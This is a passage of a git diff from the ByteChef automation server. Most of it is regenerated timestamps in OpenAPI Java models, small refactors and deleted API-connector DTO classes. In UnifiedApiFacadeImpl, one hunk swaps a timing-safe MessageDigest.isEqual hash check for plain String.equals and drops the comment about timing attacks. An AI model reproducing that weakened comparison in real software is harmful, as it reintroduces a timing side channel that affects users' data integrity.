+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-rest/generated/src/main/java/com/bytechef/ee/embedded/unified/web/rest/crm/model/WarningsInnerModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("warnings_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.707409+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.236842+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WarningsInnerModel {
 
   private @Nullable String detail;
diff --git a/server/ee/libs/embedded/embedded-unified/embedded-unified-service/src/main/java/com/bytechef/ee/embedded/unified/facade/UnifiedApiFacadeImpl.java b/server/ee/libs/embedded/embedded-unified/embedded-unified-service/src/main/java/com/bytechef/ee/embedded/unified/facade/UnifiedApiFacadeImpl.java
index 49dcccdb752..e6e2f77bd9e 100644
--- a/server/ee/libs/embedded/embedded-unified/embedded-unified-service/src/main/java/com/bytechef/ee/embedded/unified/facade/UnifiedApiFacadeImpl.java
+++ b/server/ee/libs/embedded/embedded-unified/embedded-unified-service/src/main/java/com/bytechef/ee/embedded/unified/facade/UnifiedApiFacadeImpl.java
@@ -38,7 +38,6 @@
 import com.bytechef.platform.connection.service.ConnectionService;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.nio.charset.StandardCharsets;
-import java.security.MessageDigest;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
@@ -50,9 +49,6 @@
 import org.springframework.util.StringUtils;
 
 /**
- * Unified API facade implementation that provides CRUD operations for unified API models. Hash comparisons use
- * timing-safe comparison via {@link MessageDigest#isEqual} to prevent timing attacks.
- *
  * @version ee
  *
  * @author Ivica Cardic
@@ -102,7 +98,7 @@ public String create(
         ProviderInputModel providerInputModel = providerModelMapper.desunify(unifiedInputModel, List.of());
 
         return providerModelAdapter.create(
-            providerInputModel, ParametersFactory.create(componentConnection.getParameters()),
+            providerInputModel, ParametersFactory.createParameters(componentConnection.getParameters()),
             contextFactory.createContext(componentName, componentConnection));
     }
 
@@ -121,7 +117,7 @@ public void delete(
                 componentName, category, modelType);
 
         providerModelAdapter.delete(
-            id, ParametersFactory.create(componentConnection.getParameters()),
+            id, ParametersFactory.createParameters(componentConnection.getParameters()),
             contextFactory.createContext(componentName, componentConnection));
     }
 
@@ -143,7 +139,7 @@ public UnifiedOutputModel get(
             unifiedApiDefinitionService.getUnifiedApiProviderModelMapper(componentName, category, modelType);
 
         ProviderOutputModel providerOutputModel = providerModelAdapter.get(
-            id, ParametersFactory.create(componentConnection.getParameters()),
+            id, ParametersFactory.createParameters(componentConnection.getParameters()),
             contextFactory.createContext(componentName, componentConnection));
 
         return providerModelMapper.unify(providerOutputModel, List.of());
@@ -185,9 +181,7 @@ public CursorPageSlice<? extends UnifiedOutputModel> getPage(
 
             String prevHash = params[0];
 
-            // Use timing-safe comparison to prevent timing attacks
-            if (!MessageDigest.isEqual(hashed.getBytes(StandardCharsets.UTF_8),
-                prevHash.getBytes(StandardCharsets.UTF_8))) {
+            if (!hashed.equals(prevHash)) {
                 throw new CursorPaginationException("Can't modify search filter when using a continuationToken");
             }
 
@@ -202,8 +196,8 @@ public CursorPageSlice<? extends UnifiedOutputModel> getPage(
         }
 
         Page<? extends ProviderOutputModel> page = providerModelAdapter.getPage(
-            ParametersFactory.create(componentConnection.getParameters()),
-            ParametersFactory.create(cursorParameters),
+            ParametersFactory.createParameters(componentConnection.getParameters()),
+            ParametersFactory.createParameters(cursorParameters),
             contextFactory.createContext(componentName, componentConnection));
 
         String continuationToken = null;
@@ -253,7 +247,7 @@ public void update(
         ProviderInputModel providerInputModel = providerModelMapper.desunify(unifiedInputModel, List.of());
 
         providerModelAdapter.update(
-            id, providerInputModel, ParametersFactory.create(componentConnection.getParameters()),
+            id, providerInputModel, ParametersFactory.createParameters(componentConnection.getParameters()),
             contextFactory.createContext(componentName, componentConnection));
     }
 
diff --git a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/AppEventTriggerApi.java b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/AppEventTriggerApi.java
index a84c528a2f7..394acf9c293 100644
--- a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/AppEventTriggerApi.java
+++ b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/AppEventTriggerApi.java
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379914+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368654+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "app-event-trigger", description = "The Embedded App Event Trigger Public API")
 public interface AppEventTriggerApi {
diff --git a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/RequestTriggerApi.java b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/RequestTriggerApi.java
index 7633e240e5f..ed280c59d23 100644
--- a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/RequestTriggerApi.java
+++ b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/RequestTriggerApi.java
@@ -35,7 +35,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379914+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368654+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "request-trigger", description = "The Embedded Request Trigger Public API")
 public interface RequestTriggerApi {
diff --git a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java
index 708e4a81270..c2954db608a 100644
--- a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java
+++ b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/EnvironmentModel.java
@@ -20,7 +20,7 @@
  * The environment of a project.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379914+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368654+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum EnvironmentModel {
   
   DEVELOPMENT("DEVELOPMENT"),
diff --git a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java
index 7ae4d21aa0d..26489df23f2 100644
--- a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java
+++ b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerMetaModel.java
@@ -27,7 +27,7 @@
 
 @Schema(name = "Errors_inner_meta", description = "Additional metadata about the error.")
 @JsonTypeName("Errors_inner_meta")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379914+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368654+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerMetaModel {
 
   private @Nullable Object cause;
diff --git a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java
index ea73c4e9f2f..a10375d41d8 100644
--- a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java
+++ b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ErrorsInnerModel.java
@@ -22,7 +22,7 @@
  */
 
 @JsonTypeName("Errors_inner")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379914+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368654+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ErrorsInnerModel {
 
   private String id;
diff --git a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteWorkflows400ResponseModel.java b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteWorkflows400ResponseModel.java
index 75bee1c5d3c..3d9fbcf1b81 100644
--- a/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteWorkflows400ResponseModel.java
+++ b/server/ee/libs/embedded/embedded-webhook/embedded-webhook-rest/generated/src/main/java/com/bytechef/ee/embedded/execution/public_/web/rest/model/ExecuteWorkflows400ResponseModel.java
@@ -25,7 +25,7 @@
  */
 
 @JsonTypeName("executeWorkflows_400_response")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.379914+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.368654+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ExecuteWorkflows400ResponseModel {
 
   @Valid
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/WorkflowExecutionApi.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/WorkflowExecutionApi.java
index 23f7aeeb680..c9bc44eea7b 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/WorkflowExecutionApi.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/WorkflowExecutionApi.java
@@ -36,7 +36,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "workflow-execution", description = "The Embedded Workflow Execution Internal API")
 public interface WorkflowExecutionApi {
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/AuthorizationTypeModel.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/AuthorizationTypeModel.java
index 26ee663f20d..6268fe22b2f 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/AuthorizationTypeModel.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/AuthorizationTypeModel.java
@@ -20,7 +20,7 @@
  * The authorization type.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum AuthorizationTypeModel {
   
   API_KEY("API_KEY"),
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/IntegrationStatusModel.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/IntegrationStatusModel.java
index 11d8370ce82..eb0753b29c0 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/IntegrationStatusModel.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/IntegrationStatusModel.java
@@ -20,7 +20,7 @@
  * The status of an integration.
  */
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public enum IntegrationStatusModel {
   
   DRAFT("DRAFT"),
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WebhookRetryModel.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WebhookRetryModel.java
index 7320a839387..2d766466b38 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WebhookRetryModel.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WebhookRetryModel.java
@@ -21,7 +21,7 @@
  */
 
 @JsonTypeName("Webhook_retry")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WebhookRetryModel {
 
   private @Nullable Integer initialInterval;
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowBasic1Model.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowBasic1Model.java
index 67a7a44c009..f0d4ad3916d 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowBasic1Model.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowBasic1Model.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "WorkflowBasic_1", description = "The blueprint that describe the execution of a job.")
 @JsonTypeName("WorkflowBasic_1")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowBasic1Model {
 
   private @Nullable String createdBy;
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java
index 343364e762b..fccc53f0319 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionBasicModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "WorkflowExecutionBasic", description = "Contains information about execution of a Integration workflow.")
 @JsonTypeName("WorkflowExecutionBasic")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowExecutionBasicModel {
 
   private Long id;
diff --git a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionModel.java b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionModel.java
index 77fc0adaebc..335bbbf4266 100644
--- a/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionModel.java
+++ b/server/ee/libs/embedded/embedded-workflow/embedded-workflow-execution/embedded-workflow-execution-rest/generated/src/main/java/com/bytechef/ee/embedded/workflow/execution/web/rest/model/WorkflowExecutionModel.java
@@ -22,7 +22,7 @@
 
 @Schema(name = "WorkflowExecution", description = "Contains information about execution of a Integration workflow.")
 @JsonTypeName("WorkflowExecution")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:37:00.374089+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.118801+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class WorkflowExecutionModel {
 
   private Long id;
diff --git a/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/CodeWorkflowComponentHandler.java b/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/CodeWorkflowComponentHandler.java
index 13723323d32..d322c4d09f2 100644
--- a/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/CodeWorkflowComponentHandler.java
+++ b/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/CodeWorkflowComponentHandler.java
@@ -35,7 +35,7 @@ public CodeWorkflowComponentHandler(CodeWorkflowTaskExecutor codeWorkflowTaskExe
                 .title("Code Workflow")
                 .description("Execute code workflow tasks.")
                 .icon("path:assets/code-workflow.svg")
-                .actions(CodeWorkflowPerformAction.of(codeWorkflowTaskExecutor)));
+                .actions(new CodeWorkflowPerformAction(codeWorkflowTaskExecutor).actionDefinition));
     }
 
     @Override
diff --git a/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/action/CodeWorkflowPerformAction.java b/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/action/CodeWorkflowPerformAction.java
index bd3a134b771..a6c9d24af69 100644
--- a/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/action/CodeWorkflowPerformAction.java
+++ b/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/action/CodeWorkflowPerformAction.java
@@ -22,8 +22,10 @@
  */
 public class CodeWorkflowPerformAction {
 
-    public static CodeWorkflowPerformActionDefinition of(CodeWorkflowTaskExecutor codeWorkflowTaskExecutor) {
-        return new CodeWorkflowPerformActionDefinition(
+    public final CodeWorkflowPerformActionDefinition actionDefinition;
+
+    public CodeWorkflowPerformAction(CodeWorkflowTaskExecutor codeWorkflowTaskExecutor) {
+        actionDefinition = new CodeWorkflowPerformActionDefinition(
             action(PERFORM)
                 .title("Perform Code Workflow Task")
                 .description("Perform code workflow task.")
@@ -36,7 +38,4 @@ public static CodeWorkflowPerformActionDefinition of(CodeWorkflowTaskExecutor co
                         .label("Task Name")),
             codeWorkflowTaskExecutor);
     }
-
-    private CodeWorkflowPerformAction() {
-    }
 }
diff --git a/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/task/CodeWorkflowTaskExecutor.java b/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/task/CodeWorkflowTaskExecutor.java
index 026aa3383ce..f28dbe8c4e3 100644
--- a/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/task/CodeWorkflowTaskExecutor.java
+++ b/server/ee/libs/modules/components/code-workflow/src/main/java/com/bytechef/ee/component/codeworkflow/task/CodeWorkflowTaskExecutor.java
@@ -7,7 +7,6 @@
 
 package com.bytechef.ee.component.codeworkflow.task;
 
-import com.bytechef.automation.project.ProjectHandler;
 import com.bytechef.commons.util.EncodingUtils;
 import com.bytechef.ee.platform.codeworkflow.configuration.domain.CodeWorkflowContainer;
 import com.bytechef.ee.platform.codeworkflow.configuration.service.CodeWorkflowContainerService;
@@ -15,6 +14,7 @@
 import com.bytechef.platform.annotation.ConditionalOnEEVersion;
 import com.bytechef.platform.codeworkflow.loader.automation.ProjectHandlerLoader;
 import com.bytechef.platform.constant.PlatformType;
+import com.bytechef.workflow.ProjectHandler;
 import com.bytechef.workflow.definition.TaskDefinition.PerformFunction;
 import com.bytechef.workflow.definition.WorkflowDefinition;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/domain/ApiConnectorGenerationJob.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/domain/ApiConnectorGenerationJob.java
deleted file mode 100644
index ba95b9813ba..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/domain/ApiConnectorGenerationJob.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.domain;
-
-import java.time.LocalDateTime;
-
-/**
- * Represents an asynchronous API connector generation job.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-public class ApiConnectorGenerationJob {
-
-    public enum Status {
-        PENDING,
-        PROCESSING,
-        COMPLETED,
-        FAILED,
-        CANCELLED
-    }
-
-    private String id;
-    private Status status;
-    private String documentationUrl;
-    private String specification;
-    private String errorMessage;
-    private LocalDateTime createdDate;
-    private LocalDateTime completedDate;
-    private volatile boolean cancellationRequested;
-
-    public ApiConnectorGenerationJob() {
-    }
-
-    public ApiConnectorGenerationJob(String id, String documentationUrl) {
-        this.id = id;
-        this.documentationUrl = documentationUrl;
-        this.status = Status.PENDING;
-        this.createdDate = LocalDateTime.now();
-        this.cancellationRequested = false;
-    }
-
-    public String getId() {
-        return id;
-    }
-
-    public void setId(String id) {
-        this.id = id;
-    }
-
-    public Status getStatus() {
-        return status;
-    }
-
-    public void setStatus(Status status) {
-        this.status = status;
-
-        if (status == Status.COMPLETED || status == Status.FAILED || status == Status.CANCELLED) {
-            this.completedDate = LocalDateTime.now();
-        }
-    }
-
-    public String getDocumentationUrl() {
-        return documentationUrl;
-    }
-
-    public void setDocumentationUrl(String documentationUrl) {
-        this.documentationUrl = documentationUrl;
-    }
-
-    public String getSpecification() {
-        return specification;
-    }
-
-    public void setSpecification(String specification) {
-        this.specification = specification;
-    }
-
-    public String getErrorMessage() {
-        return errorMessage;
-    }
-
-    public void setErrorMessage(String errorMessage) {
-        this.errorMessage = errorMessage;
-    }
-
-    public LocalDateTime getCreatedDate() {
-        return createdDate;
-    }
-
-    public void setCreatedDate(LocalDateTime createdDate) {
-        this.createdDate = createdDate;
-    }
-
-    public LocalDateTime getCompletedDate() {
-        return completedDate;
-    }
-
-    public void setCompletedDate(LocalDateTime completedDate) {
-        this.completedDate = completedDate;
-    }
-
-    public boolean isCancellationRequested() {
-        return cancellationRequested;
-    }
-
-    public void setCancellationRequested(boolean cancellationRequested) {
-        this.cancellationRequested = cancellationRequested;
-    }
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/EndpointDefinitionDTO.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/EndpointDefinitionDTO.java
deleted file mode 100644
index 98ead429f09..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/EndpointDefinitionDTO.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.dto;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-
-/**
- * DTO for API endpoint definition.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@SuppressFBWarnings("EI")
-public record EndpointDefinitionDTO(
-    String path,
-    String httpMethod,
-    String operationId,
-    String summary,
-    String description,
-    List<ParameterDefinitionDTO> parameters,
-    RequestBodyDefinitionDTO requestBody,
-    List<ResponseDefinitionDTO> responses) {
-}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/GenerateSpecificationRequestDTO.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/GenerateSpecificationRequestDTO.java
deleted file mode 100644
index 1b6f7f08d72..00000000000
--- a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-api/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/dto/GenerateSpecificationRequestDTO.java
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.platform.apiconnector.configuration.dto;
-
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-
-/**
- * DTO for generate specification request.
- *
- * @version ee
- *
- * @author Ivica Cardic
- */
-@SuppressFBWarnings("EI")
-public record GenerateSpecificationRequestDTO(
-    String name,
